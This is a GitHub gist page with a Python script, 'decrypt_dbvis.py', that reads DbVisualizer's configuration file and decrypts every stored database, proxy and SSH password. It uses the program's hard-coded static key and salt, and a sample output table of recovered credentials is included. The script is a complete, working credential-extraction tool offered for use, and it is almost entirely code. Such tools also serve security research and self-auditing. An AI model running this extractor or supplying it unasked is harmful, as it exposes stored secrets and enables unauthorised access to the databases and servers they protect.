Skip to content

Instantly share code, notes, and snippets.

@marcgeld
Forked from gerry/decrypt_dbvis.py
Last active September 11, 2015 11:49
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save marcgeld/276a269b0dba881ac3ab to your computer and use it in GitHub Desktop.
Save marcgeld/276a269b0dba881ac3ab to your computer and use it in GitHub Desktop.
A quick hack to extract and decrypt credentials from DbVisualizer config files.
#!/usr/bin/env python
# decrypt_dbvis.py ~ gerry@twitter.com
# DbVisualizer uses PBEWithMD5AndDES with a static key to store passwords.
# This is a quick hack to extract and decrypt credentials from DbVisualizer config files.
# Tested against DbVisualizer Free 9.0.9 and 9.2.10
"""
[2014-03-25 02:05:30][not-the-sea workspace]$ security/p/gerry/misc/decrypt_dbvis.py
[+] DbVisualizer Password Extractor and Decryptor (@gerryeisenhaur)
[+] Additional Usage Options:
[+] security/p/gerry/misc/decrypt_dbvis.py <config filename>
[+] security/p/gerry/misc/decrypt_dbvis.py <encrypted password>
[+] Extracting credentials from /Users/jack/.dbvis/config70/dbvis.xml
driver | name | user | password | connection_info
------------+---------------------+-------------+--------------------+---------------------------------------
Proxy | Default Proxy | myproxyuser | somesecretpassword | socks://127.0.0.1:1234
Vertica 6.1 | vertica-prod | admin | password1 | jdbc:vertica://127.0.0.1:5434/userdata
PostgreSQL | PGTest | pg_user | pg_pass | Server=localhost,Port=5432,Database=
SQLite | Doodie | sqlituser | sqpasdf | Database file name=~/mysqlite.db
SSH | Doodie | root | s1qpa | localhost:22
[+] (For Mac OS X: chmod a+x ./decrypt_dbvis.py; pip install lxml; pip install pycrypto)
[+] pip install tabulate
"""
import base64
from hashlib import md5
from Crypto.Cipher import DES
from os.path import expanduser
from lxml import etree, objectify
from collections import namedtuple
from tabulate import tabulate
_iterations = 10
_salt = '\x8E\x129\x9C\aroZ' # -114, 18, 57, -100, 7, 114, 111, 90
_password = 'qinda'
Credential = namedtuple('Credential', ['driver', 'name', 'user',
'password', 'connection_info'])
class PBEWithMD5AndDES(object):
def __init__(self, password, salt, iterations):
key = self._generate_key(password, salt, iterations, 16)
self.key = key[:8]
self.iv = key[8:16]
def _cipher(self):
return DES.new(self.key, DES.MODE_CBC, self.iv)
def _generate_key(self, key, salt, count, length):
key = key + salt
for i in range(count):
key = md5(key).digest()
return key[:length]
def encrypt(self, plaintext):
padding = 8 - len(plaintext) % 8
plaintext += chr(padding) * padding
return self._cipher().encrypt(plaintext)
def decrypt(self, ciphertext):
plaintext = self._cipher().decrypt(ciphertext)
return plaintext[:-ord(plaintext[-1])]
def decrypt_password(password):
pbe = PBEWithMD5AndDES(_password, _salt, _iterations)
return pbe.decrypt(base64.b64decode(password))
def extract_credentials(config_file):
with open(config_file, 'r') as xml_file:
xml_blob = xml_file.read()
root_obj = objectify.fromstring(xml_blob)
pbe = PBEWithMD5AndDES(_password, _salt, _iterations)
creds = []
# Get any global proxy if it exists.
proxy_user = getattr(root_obj.General, 'ProxyUser', None)
proxy_pass = getattr(root_obj.General, 'ProxyPassword', None)
if proxy_pass and proxy_pass.text:
proxy_pass = pbe.decrypt(base64.b64decode(proxy_pass.text))
proxy_host = getattr(root_obj.General, 'ProxyHost', None)
proxy_port = getattr(root_obj.General, 'ProxyPort', None)
proxy_type = getattr(root_obj.General, 'ProxyType', None)
conn_info = "%s://%s:%s" % (proxy_type, proxy_host, proxy_port,)
conn_info = (proxy_user and proxy_pass) and conn_info or None
if conn_info:
creds.append(Credential(name="Default Proxy", user=proxy_user,
password=proxy_pass, connection_info=conn_info, driver='Proxy'))
# Grab and decrypt each DB password along with any SSh servers
cred = {}
for db in root_obj.Databases.Database:
cred['name'] = getattr(db, 'Alias', None)
cred['user'] = getattr(db, 'Userid', None)
password = getattr(db, 'Password', None)
if password is not None and password.text:
cred['password'] = pbe.decrypt(base64.b64decode(password.text))
cred['driver'] = getattr(db, 'Driver', None)
conn_info = getattr(db, 'Url', None)
if not conn_info:
params = db.UrlVariables.Driver.getchildren()
conn_info = ",".join(["%s=%s" % (p.get('UrlVariableName'), p) for p in params])
cred['connection_info'] = conn_info
creds.append(Credential(**cred))
# Note: I haven't tested anything related to ssh info extraction... no test cases
ssh_password = getattr(db.SshSettings, 'SshPassword', None)
if ssh_password and ssh_password.text:
host = getattr(db.SshSettings, 'SshHost', '')
port = getattr(db.SshSettings, 'SshPort', '22')
ssh_cred = dict(
driver="SSH",
name="%s" % (cred['name'],),
user=getattr(db.SshSettings, 'SshUserid'),
password=pbe.decrypt(base64.b64decode(ssh_password.text)),
connection_info="%s:%s" % (host, port,))
creds.append(Credential(**ssh_cred))
return creds
def print_table(rows):
headers = rows[0]._fields
print tabulate(rows, headers)
if __name__ == '__main__':
import sys
import os.path
print "[+] DbVisualizer Password Extractor and Decryptor (@gerryeisenhaur)"
if len(sys.argv) == 2:
if os.path.exists(sys.argv[1]):
dbvis_config = sys.argv[1]
else:
dbvis_config = None
else:
print "[+] Additional Usage Options: "
print "[+] %s <config filename>" % sys.argv[0]
print "[+] %s <encrypted password>" % sys.argv[0]
dbvis_config = "%s/.dbvis/config70/dbvis.xml" % os.path.expanduser("~")
if not dbvis_config:
password = sys.argv[1]
print "[+] Decrypting: %s" % (password,)
try:
print "[+] Plain Text: %s" % (decrypt_password(password),)
except Exception, e:
print "[!] Error decrypting! %s" % (e,)
sys.exit()
print "[+] Extracting credentials from %s\n" % (dbvis_config,)
print_table(extract_credentials(dbvis_config))
print "\n[+] Done. Have Fun!"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment